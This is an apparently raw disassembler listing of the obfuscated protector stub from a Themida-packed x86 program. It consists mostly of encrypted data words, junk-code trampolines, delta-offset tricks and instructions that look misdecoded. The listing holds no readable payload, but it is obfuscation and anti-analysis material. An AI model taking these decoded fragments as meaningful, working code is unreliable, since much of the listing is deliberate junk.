dd 0CD3D2D1Ah, 82E9E216h, 215FDF65h, 7CF64C3Fh, 120E6DCCh
dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 51CF5541h
dd 0C181E189h, 4, 4BB53h, 0D9290000h, 240C875Bh, 0E389535Ch
dd 4C381h, 0EB810000h, 4, 5C241C87h, 68243489h, 7482h
dd 55241489h, 17791E68h, 0EE895D06h, 4EC815Dh, 89000000h
dd 4832424h, 815A0424h, 4ECh, 24348900h, 0E242C81h, 8F06D651h
dd 42810842h, 0D6510E08h, 2434FF06h, 4C4815Ah, 0FF000000h
dd 835E2434h, 0FDE904C4h, 4FFF900h, 0B8E13AEFh, 6177EF4h
dd 0D38BC503h, 2AE9h, 2404C700h, 0
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 6177F8Eh
mov eax, [esp+4]
mov [ebp+6101911h], eax
mov eax, 0
lea ecx, [ebp+6104E85h]
jmp ecx
; ---------------------------------------------------------------------------
mov eax, 6754h
jmp short loc_5C3434
; ---------------------------------------------------------------------------
align 10h
dd 4 dup(0)
dd 1010000h
; ---------------------------------------------------------------------------
loc_5C3434: ; CODE XREF: Themida_:005C341Cj
or al, 4
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
pop ss
push es
push 0
push eax
call sub_5C3445
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3445 proc near ; CODE XREF: Themida_:005C343Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C3445 endp
; ---------------------------------------------------------------------------
cmp dword ptr [edx-769F9FF5h], 0FFFFFFB5h
and eax, 66061020h
xor ebx, 0F618A96h
mov bh, 0C6h
popa
push eax
jmp loc_5C3479
; ---------------------------------------------------------------------------
dd 1E1D438Bh, 39B3AA3Ah
db 0E1h
; ---------------------------------------------------------------------------
loc_5C3479: ; CODE XREF: Themida_:005C346Bj
mov [esp], eax
loc_5C347C: ; CODE XREF: Themida_:005C34EDj
push 0
push ebp
call sub_5C3487
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3487 proc near ; CODE XREF: Themida_:005C347Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5C3487 endp
; ---------------------------------------------------------------------------
aUXMFb_j db 'ãÃ*Óå[Œ]šÒfßÕ.j',0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C34B3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C34B3 proc near ; CODE XREF: Themida_:005C34ABp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C34B3 endp
; ---------------------------------------------------------------------------
setalc
enter 66B7h, 0BFh
pop ebp
dec ebx
push 0
push 0
push edi
call sub_5C34D7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C34D7 proc near ; CODE XREF: Themida_:005C34CFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C34D7 endp
; ---------------------------------------------------------------------------
mov eax, ds:6F5AE042h
inc ebx
loope loc_5C347C
test [ebp-7Fh], eax
pop ss
push es
jb loc_5C34FD
movsx edi, ax
loc_5C34FD: ; CODE XREF: Themida_:005C34F4j
nop
jge $+6
push eax
jbe $+6
nop
push 0
push ebx
call sub_5C3517
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3517 proc near ; CODE XREF: Themida_:005C350Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5C3517 endp
; ---------------------------------------------------------------------------
db 0E6h
; ---------------------------------------------------------------------------
and edi, ds:0F3D89CAAh
push 0
pusha
mov edx, 45BDDE5Eh
mov [ebp+6101FA9h], ecx
popa
push 0
push 0
push ebx
call sub_5C354A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C354A proc near ; CODE XREF: Themida_:005C3542p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C354A endp
; ---------------------------------------------------------------------------
dw 0A876h
dd 93E6B22Bh, 77A5CF49h, 0C8D0Fh, 820F0000h, 6, 6058D03h
dd 8B660610h, 1995FFFAh, 0B706101Dh, 562E9E6h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0F87B5DC3h, 68A0Fh, 8D0B0000h, 6102309h, 0E8h, 0ED815D00h
dd 617814Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 48C35141h, 2CB2621h, 6AE5B50Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3865C351h
dd 0BD8B5444h, 6101C99h, 4E8h, 0FA000h, 0BE85100h, 6000000h
dd 0E11756D6h, 0B072A28Eh, 7E8B2F8h, 0C6000000h, 1A81BEE0h
dd 5A5A743Fh, 0F88B505Bh, 424448Bh, 310F5250h, 0F6BF5250h
dd 0F476EB2h, 5299B931h, 585A2D17h, 8B585Ah, 10E8h, 0CA525100h
dd 1DB7470Eh, 4AC47CAAh, 0C294CFB2h, 0DE963h, 0EF1E0000h
dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 4244489h, 4860Fh, 60600000h
dd 52586161h, 860Fh, 0FF5B0000h, 1031C995h, 0A8E28006h
dd 7FB3B58Dh, 8B660617h, 5206C7D0h, 0BF6D6765h, 7C80DDF7h
dd 0EE8h, 0A9010100h, 0FCF2A1FAh, 2026B4BFh, 0E8AB32E4h
dd 7, 0E2441EDFh, 669F34A7h, 5AA617B9h, 446C75Fh, 6C636E6Fh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h
dd 95BA66ADh, 846C7DBh, 737361h, 9537C381h, 6A586Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C9C35545h, 0B5896FDFh
dd 6102AE9h, 7FB3858Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0C32E7DC3h, 1CC99D8Bh
dd 50900610h, 0FCC8A52h, 10E931h, 26040000h, 61DAE570h
dd 0CD5E6169h, 16C959CFh, 585A6AE9h, 52505250h, 310FDD8Ah
dd 5ACA8B66h, 33905B58h, 1015A98Dh, 18F0F06h, 0F5000000h
dd 22D595FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 605326C3h, 0DE9h, 0AF316A00h, 19D58F88h
dd 0DB8D755Eh, 850F1545h, 6, 16FD8D23h, 0B610610h, 30840FC0h
dd 3000000h, 1012C1BDh, 2A6E906h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 52D695C3h
dd 6723DF81h, 68590B86h, 0E2DB699Eh, 0F505250h, 8Bh, 310F5900h
dd 295B3AB9h, 81585A22h, 978E2404h, 0FF81D24h, 95FFD0B7h
dd 61031C9h, 6558D8Bh, 0B58D0610h, 6177FB3h, 72A2F5B9h
dd 3106C723h, 6A363438h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 6571C352h, 66BCDE50h
dd 8BDD86B9h, 446C7D6h, 31342D37h, 0E79BD8Bh, 8B0F0610h
dd 8, 2850Fh, 0FE8B0000h, 846C7h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 7351C355h, 0FDAC27B1h, 6AF578h, 0B5B52952h, 5F061021h
dd 7FB3858Dh, 0B5890617h, 6102F35h, 8B5036B3h, 240489FBh
dd 0A658D8Bh, 95FF0610h, 61022D5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 3BC35747h, 0E3981457h, 840FC00Bh
dd 32h, 6D44DB81h, 79E94CCDh, 6A000001h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8B35C357h
dd 9D011982h, 61013D9h, 4E840B3h, 2C000000h, 66000001h
dd 8B50CA8Bh, 0E8042444h, 9, 784AEADAh, 0F04E443Ah, 8B52508Fh
dd 0BB310FDFh, 7ACF8874h, 8B5F585Ah, 89DA8B00h, 0BF042444h
dd 59ACFAD4h, 0F9BF0F58h, 31C995FFh, 0F5600610h, 23098589h
dd 8D610610h, 177FB3B5h, 0D38B6606h, 694606C7h, 8D33656Ch
dd 61010C9h, 6D0446C7h, 29636E6Fh, 102E5D95h, 846C706h
dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 51C35343h, 16FCFB83h, 0C46C7h, 66000000h, 0DF03E381h
dd 0D98B006Ah, 7FB3858Dh, 81660617h, 50180DF1h, 4896CB6h
dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 0BAA1B2FCh, 9CE0B491h, 9504C2Eh, 101DB1B5h
dd 95FF5F06h, 61022D5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 54C35545h, 0D22A40C0h
; ---------------------------------------------------------------------------
loc_5C3A40: ; DATA XREF: ___:off_438438o
; ___:off_43A570o ...
xor ebx, [ebp+6101C51h]
or eax, eax
jz loc_5C3A5A
mov [ebp+6101E01h], ecx
jmp loc_5C3A88
; ---------------------------------------------------------------------------
cld
loc_5C3A5A: ; CODE XREF: Themida_:005C3A48j
jmp near ptr dword_5C355C+54h
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5C3A6A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3A6A proc near ; CODE XREF: Themida_:005C3A62p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C3A6A endp
; ---------------------------------------------------------------------------
add byte ptr [eax], 31h
test [ebp+1Ch], edi
adc [esi], al
mov [ebp+6101D25h], ebx
loc_5C3A88: ; CODE XREF: Themida_:005C3A54j
lea esi, [ebp+61073A3h]
and cx, 8366h
or [ebp+6103161h], ecx
mov eax, 0
push 0
push ecx
call sub_5C3AA9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3AA9 proc near ; CODE XREF: Themida_:005C3AA1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5C3AA9 endp
; ---------------------------------------------------------------------------
add ebx, [ecx+4D8D897Eh]
adc edx, [eax]
push es
jmp esi
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5C3ACF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3ACF proc near ; CODE XREF: Themida_:005C3AC7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5C3ACF endp
; ---------------------------------------------------------------------------
db 0A5h
dd 0C5B557A2h, 7AB5B031h, 6E8C18Bh, 6E000000h, 92FF0277h
dd 1DBD8B9Fh, 5A061017h, 0C28116B5h, 6D4Dh, 0C458D8Bh
dd 680610h, 66000000h, 0F58C88Bh, 682h, 259D2300h, 0FF06100Fh
dd 9D891034h, 6102E69h, 0FB8B665Eh, 4D56C681h, 0B5315F00h
dd 61006B5h, 4C37EE81h, 8B607B32h, 1008D58Dh, 0C1BD2906h
dd 6106101Bh, 6B15F681h, 8B0F6136h, 0Eh, 7E8h, 0A0572700h
dd 0BCC7DFF1h, 8B565FFCh, 1013898Dh, 2048F06h, 0F296E881h
dd 8B6607F6h, 92C081FEh, 6607F6F2h, 817714B9h, 0FF9388F8h
dd 1F850FFFh, 89000000h, 100EE5B5h, 2EE906h, 8CC90000h
dd 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 5E176D8Dh, 0BD8B582Bh
dd 610239Dh, 0FFFF66E9h, 5AD351FFh, 0D7627D50h, 0F2F87003h
dd 0F08FFD2Dh, 75FDED55h, 76F67A5Eh, 56E669A4h, 83FD49BCh
dd 0E1FD26F4h, 26FD26DAh, 84FD26CDh, 76FD2644h, 6CFD2682h
dd 35FD2660h, 2AFD2611h, 1FD26A9h, 4CFD26F5h, 5FD26DAh
dd 7EFD26CDh, 0DBFD2639h, 0B8FD2682h, 85FD2660h, 41FD2611h
dd 95FD26D7h, 9DFD26F4h, 95358A25h, 76D6A222h, 5CDE714Ah
dd 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh
dd 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh
dd 75A6ED8Fh, 75A6E227h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h
dd 75F8B290h, 0F0701ABCh, 73EAF12Bh, 0F251FFA6h, 0F0707C80h
dd 73EAF140h, 0F291FF6Ch, 0F0707CE5h, 73EAF1B0h, 0F255FF35h
dd 0F0707C49h, 73EAF106h, 0F28DFF1Eh, 0F0707CDCh, 73EAF00Dh
dd 0F289FF7Bh, 0F0707C6Eh, 73EAF33Ah, 0F285FFD7h, 0F0707C38h
dd 73EAF30Fh, 0F281FF42h, 0F0707CF2h, 73EAF35Ch, 0F27DFFF0h
dd 0F0707CABh, 73EAF057h, 0F271FFA6h, 0F0707C80h, 73EAF31Eh
dd 0F279FF6Ch, 0F0707CE5h, 73EAF38Dh, 0F275FF35h, 0F0707C49h
dd 73EAF026h, 0F271FF1Eh, 0F0707CDCh, 73EAF0A6h, 0F261FF7Bh
dd 0F0707C6Eh, 73EAF0DEh, 0F25DFFD7h, 0F0707C38h, 73EAF012h
dd 0F259FF42h, 0F0707CF2h, 73EAF03Ch, 0F26DFFF0h, 0F0707CABh
dd 73EAF15Bh, 0F269FFA6h, 0F0707C80h, 73EAF16Bh, 0F265FF6Ch
dd 0F0767CE5h, 73ED66D8h, 0F218FF35h, 0F0767C49h, 73ED64CAh
dd 0F214FF1Eh, 0B69C7CDCh, 9D11F1B0h, 75FD7AF2h, 8C17FB23h
dd 25FB6D34h, 0FDF53FD5h, 627A9EADh, 0B7342291h, 23AC7ACFh
dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73EAF3A6h, 0F296FFA0h
dd 0C87D7C38h, 73EAFDFCh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h
dd 0F214EF86h, 0FEBD7CABh, 7A452B96h, 8AFD7A2Fh, 627A9302h
dd 1948F7CDh, 0F8FB6D62h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh
dd 8AFD7A5Eh, 627A93BAh, 1948F791h, 0F8FB6D4Ch, 8A50FCD1h
dd 0BC1F2322h, 0F296F787h, 2DA07CABh, 2CA32005h, 776D92ECh
dd 0CD4D7A97h, 8A5779C1h, 627A9F70h, 9D3ED1F4h, 75FD7807h
dd 0CD9BC2DAh, 0DE9B5954h, 0F218EFD0h, 0DE9B7C80h, 77959208h
dd 360B7AE5h, 6E8872F3h, 0F218EF86h, 0C54D7CABh, 8AAD7954h
dd 627A9FBAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah
dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h
dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh
dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh
dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h
dd 0F5DF7094h, 0FF4DBA07h, 906885B5h, 2FFB6D75h, 51FD5F1Fh
dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h
dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh
dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah
dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h
dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh
dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h
dd 0F214EF0Dh, 0C0707C6Eh, 73EAFD0Ch, 7F518A5Dh, 0E002D02Ch
dd 73EAFD72h, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh
dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h
dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh
dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah
dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h, 0F29FFF69h
dd 0C87D7CDCh, 73EAFD87h, 0F8EC0FF3h, 627AAEFCh, 61152ABAh
dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh
dd 0DF9CCA0Dh, 0F29FF787h, 0C87D7CABh, 73EAFD3Ch, 0F8F10F2Fh
dd 627AAE12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 9C688579h
dd 0F8FB6D3Bh, 62714BC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h
dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 627A9FCBh
dd 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h
dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0F218EF68h
dd 917D7CDCh, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h
dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 627A9370h
dd 0BD60F7F4h, 0F8FB6DFEh, 0CD3E39A0h, 75FD7A4Eh, 0F214EFD0h
dd 0B57E7C80h, 8935F1CEh, 0F218EF1Ah, 97577CE5h, 0BE15B98Eh
dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh
dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 3417FB04h
dd 0FCFB6DA3h, 0CF7D86EAh, 73EAFD2Fh, 0EC7975E5h, 0CDFD7AF2h
dd 75FD7A73h, 0F214E843h, 0FCBD7C49h, 627A97ADh, 0F835F191h
dd 62706F79h, 906F85E3h, 0FDFB6D75h, 801F3C7Fh, 75FD6D04h
dd 987F795Eh, 35FB6DA8h, 0F8F4E01Ah, 0B67E7CDCh, 22FEF3E1h
dd 75FD644Bh, 98777979h, 0F8FB6D3Bh, 62718DECh, 2B598929h
dd 75FD722Fh, 9C6F85CBh, 0F6FB6D62h, 85897E0Ah, 72447C71h
dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh
dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h
dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh
dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h
dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh
dd 75151AB2h, 2FFD7A2Fh, 0F8D59016h, 0CF707CDCh, 73EAFD14h
dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0F20CE7A2h
dd 497D7C80h, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h
dd 75FD7ABCh, 1417FB04h, 0F8FB6DA2h, 627A8B25h, 7D80F1CDh
dd 75FD725Ch, 145989F2h, 75F9B8B0h, 8440F7DCh, 46FB6DD9h
dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 627A8B58h, 74C2FBF4h
dd 0FC7B78h, 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h
dd 8440F7ABh, 0CDFB6D62h, 75FD7AF3h, 75FD72C0h, 145789BCh
dd 0FE3DF19Dh, 8B78F7EFh, 8AFB6D10h, 0E8CA8BD0h, 11h, 5F0641EDh
dd 391406B4h, 85A922CCh, 0E1A13BD4h, 8B6650F0h, 81585AD3h
dd 0E521D4CAh, 0D3C08126h, 0E90000D9h, 14h, 0E8988340h
dd 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h, 0BBh
dd 78E0F00h, 0F000000h, 185h, 3C8BF500h, 81D18B18h, 797BBBC7h
dd 1FD1814Ch, 810B77C8h, 500389EFh, 0FE944h, 458E0000h
dd 0C5B652Ah, 77914F93h, 0B759D54Fh, 78C7816Fh, 0F50FB4Ch
dd 0C88h, 68C0F00h, 81000000h, 11FEA7DEh, 8E95729h, 0F7000000h
dd 819643EEh, 8F0C6782h
dd 0DA801804h, 8392B29Ch, 0B70F02EBh, 0F4B4BF6h, 188h
dd 0FB81F800h, 0FFFF26F0h, 0FF8C850Fh, 0A3BEFFFFh, 0E9078A9Ch
dd 30h, 2971F1F7h, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5C50EE
; ---------------------------------------------------------------------------
push 61790DDh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6179235h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61792D6h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6179359h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61796CCh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61799B0h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6179ABCh
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 16h
; ---------------------------------------------------------------------------
jz short loc_5C43BB
loc_5C438A: ; CODE XREF: Themida_:loc_5C438Aj
jge short loc_5C438A
inc esi
setnp byte ptr ds:8629B02Ch
dec ecx
xchg eax, ebp
push es
; ---------------------------------------------------------------------------
dd 0C1A72362h, 36751745h, 1152F382h, 2D681E9Dh, 4C812AB1h
dd 0E8A39D90h, 6BDBF35Ah, 3257DDBAh
; ---------------------------------------------------------------------------
jle short loc_5C43F9
push ebx
loc_5C43BB: ; CODE XREF: Themida_:005C4388j
fldenv byte ptr [edx-52h]
outsd
pop edx
loope near ptr loc_5C43EB+4
push edi
mov ah, 77h
mov esp, [edi+23B20FCBh]
mov eax, 0DE6E3A6h
cld
and [si+2Ah], al
push esp
push ebp
in eax, dx
xchg eax, edx
and edx, [ecx+ecx-23B1AFD3h]
add al, [edi]
mov ebx, 94942392h
in eax, dx
mov ah, 0BCh
pusha
loc_5C43EB: ; CODE XREF: Themida_:005C43C0j
mov esp, [eax-6BDC6DDAh]
lds ebp, [esi+3BFFD217h]
jnp short loc_5C4432
loc_5C43F9: ; CODE XREF: Themida_:005C43B8j
fbld tbyte ptr ds:2D000000h
pop esp
mov ebp, 0A7324C1Eh
add edx, ecx
lodsd
test byte ptr [ebp+2Dh], 0FCh
db 67h
test eax, 3492D9CDh
mov bl, 23h
xchg eax, esp
xlat
pushf
add eax, 7B670DE0h
cmp ebp, ebp
pop es
; ---------------------------------------------------------------------------
db 0
dd 405F0000h, 89Bh, 4479328Ch, 5D923950h
db 0E1h, 0FFh
; ---------------------------------------------------------------------------
loc_5C4432: ; CODE XREF: Themida_:005C43F7j
cmp al, 88h
dec ecx
xchg eax, edx
fsub qword ptr [ecx+419A39CCh]
das
push ecx
mov ah, bl
stosb
int 0D6h ; used by BASIC while in interpreter
cmc
adc esp, edi
adc [di], edx
popa
cmp cl, [esi+edx*4+546F9423h]
mov ebp, 0B2EBA219h
xchg eax, ebp
loop loc_5C4468
inc eax
jnp short loc_5C4495
out dx, eax
inc eax
; ---------------------------------------------------------------------------
dw 0
dd 0BD5C5D00h, 0D78D4C1Eh
; ---------------------------------------------------------------------------
loc_5C4468: ; CODE XREF: Themida_:005C4457j
; Themida_:005C446Dj
mov al, ds:0DDF6B5CBh
jl short near ptr loc_5C4468+3
cmp [di], edi
dec ecx
and ah, [ebx+eax*4-16B86BDDh]
pop ss
adc al, 0AEh
and dword ptr [ebx], 0FFFFFF94h
inc esi
jmp far ptr 367Fh:52972E0Dh
; ---------------------------------------------------------------------------
dd 0FEEF397Bh, 11F2F069h, 7A314BCAh
db 0C8h
; ---------------------------------------------------------------------------
loc_5C4495: ; CODE XREF: Themida_:005C445Aj
aaa
and edx, [esp+ebp-84AE4D0h]
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 5F04D717h, 0D58E4522h, 33D5F4A0h, 7CB70BFEh, 0D34F6DCCh
dd 0DB8403EFh, 24DBFAA6h, 6B52F4E6h, 80648AFCh, 0FC811DCCh
dd 0AD566DCCh, 0F1DAC478h, 4FAB1EA8h, 7B381547h, 0A3BD8FC4h
dd 0CCFE5AE8h, 895EBA6Dh, 4A91289Dh, 3202A930h, 0D34F437Ah
dd 0D806DAEFh, 5875AA61h, 0FC88B6ABh, 58D45067h, 0DDEFEC0Bh
dd 0B86CA95Eh, 0D2B99FBCh, 9E0AC761h, 0CD13B883h, 79D76D7Ch
dd 0EE0BE725h, 9B1E302Ch, 4C2EAAE9h, 0E9CB7732h, 2F2B9E11h
dd 7FFFE00Ah, 4116CD46h, 43FCD67Ah, 0E2FE620Eh, 3730F375h
dd 0E0C9DD40h, 0ACAh, 0B672B555h, 0D652893Fh, 0BD71AA5Fh
dd 904C893Eh, 0B4286709h, 74184AB6h, 4F027935h, 671B9A0Eh
dd 8229B02Ch, 0A29E914Dh, 0DBEC5BE7h, 56DEBB6Bh, 8B3F7E32h
dd 0DF83530Ch, 9742C89Bh, 0B4909ED0h, 0ED22C9C0h, 2A6E409h
dd 0B8F51B1h, 5CD573E7h, 324C1EBDh, 0CC7CCB77h, 782F2B6Dh
dd 9EC297D2h, 0FC7CC6EBh, 0A2494067h, 0C4C7B96Dh, 9423837Eh
dd 9AB69A96h, 57EB9EC0h, 0AF942383h, 96E896B3h, 31E51EC3h
dd 0D36B1835h, 64942383h, 0FB9A86BBh, 0F4630F44h, 7720AC43h
dd 9A21A53Ch, 66CAB6F7h, 37438E91h, 0F023397Bh, 69000000h
dd 50447932h, 0F6BCEDDEh, 82C8E297h, 0FB3AEE65h, 863CFFE1h
dd 2CDB574Bh, 6DCC8D96h, 29D5F26Eh, 0A0E18457h, 0F046E0CBh
dd 0F0976DCCh, 0BFACA1BBh, 0CB3D9CB5h, 9904623h, 8C792D62h
dd 0E82E656Dh, 0B5F2A229h, 0DBCB3390h, 81658136h, 0BC6F916Fh
dd 6DCC0306h, 210079DEh, 7A78E253h, 998A8156h, 3D67FCE0h
dd 3AF10FE1h, 943CA788h, 63DBF06Ch, 0A349F7FEh, 0E376886Ch
dd 161A063Dh, 0D66C1F41h, 2E9E0A6Ah, 0EFA11832h, 45AD9EB0h
dd 8CC57CFEh, 7CAF9C98h, 0BC6DEC5Dh, 0CEAB877Bh, 0A0DF9108h
dd 34E5233Bh, 0B039ED40h, 972h, 4E0A4DFDh, 6EEA21C7h, 550942E7h
dd 68E421C6h, 4C003FF1h, 0FCB0225Eh, 0D77A01BDh, 0EF932296h
dd 0CA81F8B4h, 4A361995h, 0DBEEE35Fh, 1EA6036Bh, 8B3F7E32h
dd 4B822AB1h, 0C9FEA52Eh, 0F9B02B15h, 3221ABC0h, 39504479h
dd 3DE15D92h, 805B7A7Fh, 15B906Eh, 3C8A5EA6h, 9D06FDDAh
dd 3967FCBFh, 56D17A3Dh, 0D342F956h, 0C6C59744h, 37D7533Dh
dd 232F54D9h, 8FBCF19Ah, 233FF421h, 6873826Fh, 9FB59396h
dd 0D14D2DE0h, 0B55AE1FFh, 2FD86378h, 10B73EFAh, 9DF66EDBh
dd 0ECB8F7EDh, 8D1FBh, 67AA5C00h, 85BC64F3h, 629B52C9h
dd 7FBC6FE6h, 59984CCBh, 699BE7E5h, 45D488C7h, 70E763A4h
dd 4CCB7FBAh, 0FFEA5E93h, 0EEB40EFDh, 53506BDBh, 3B7932C9h
dd 0D6046157h, 0BA668A99h, 532DAE45h, 0FCDB0B58h, 9DAFAB67h
dd 0B12D681Eh, 48FAB1CFh, 0AC943CC9h, 6A209BB0h, 0AE14432Fh
dd 4F943CC9h, 943CB9F7h, 66786372h, 0CBECEA3h, 926CC89Eh
dd 11E625C7h, 98CD7615h, 0A804F33h, 0A435E140h, 84Eh, 42F639D9h
dd 62D60DB3h, 39F52ED3h, 5CD00DC2h, 70EC2BDDh, 28DC0E7Ah
dd 43E675E9h, 1BCF4602h, 36ED6CE0h, 5E624D01h, 0DBEF17ABh
dd 2AF2EF6Bh, 464096D7h, 1DEFA817h, 0FD792D6Ah, 526104D9h
dd 77897789h, 0CC4C0EB4h, 2E6D1F6Dh, 322EDE42h, 2B056E15h
dd 0EEDF67FCh, 814FA708h, 180ADF4Ah, 0BB71681Ch, 0A9279B8Eh
dd 63BF943Ch, 944CCB7Fh, 0C05CA95Dh, 0B04A411Bh, 54943CA9h
dd 7BA2CD8h, 0EC23C968h, 585D8E70h, 0A2603EBh, 0C482293Eh
dd 83943C61h, 618A6477h, 2684BFD3h, 3B1D3A02h, 3C588E50h
dd 0E89F3694h, 90BD8FB3h, 653A6025h, 74EAFF28h, 0DF1CCF8Ah
dd 0A11A2F33h, 77CBBEEBh, 8F943C24h, 6249F18Ah, 6D89C6DFh
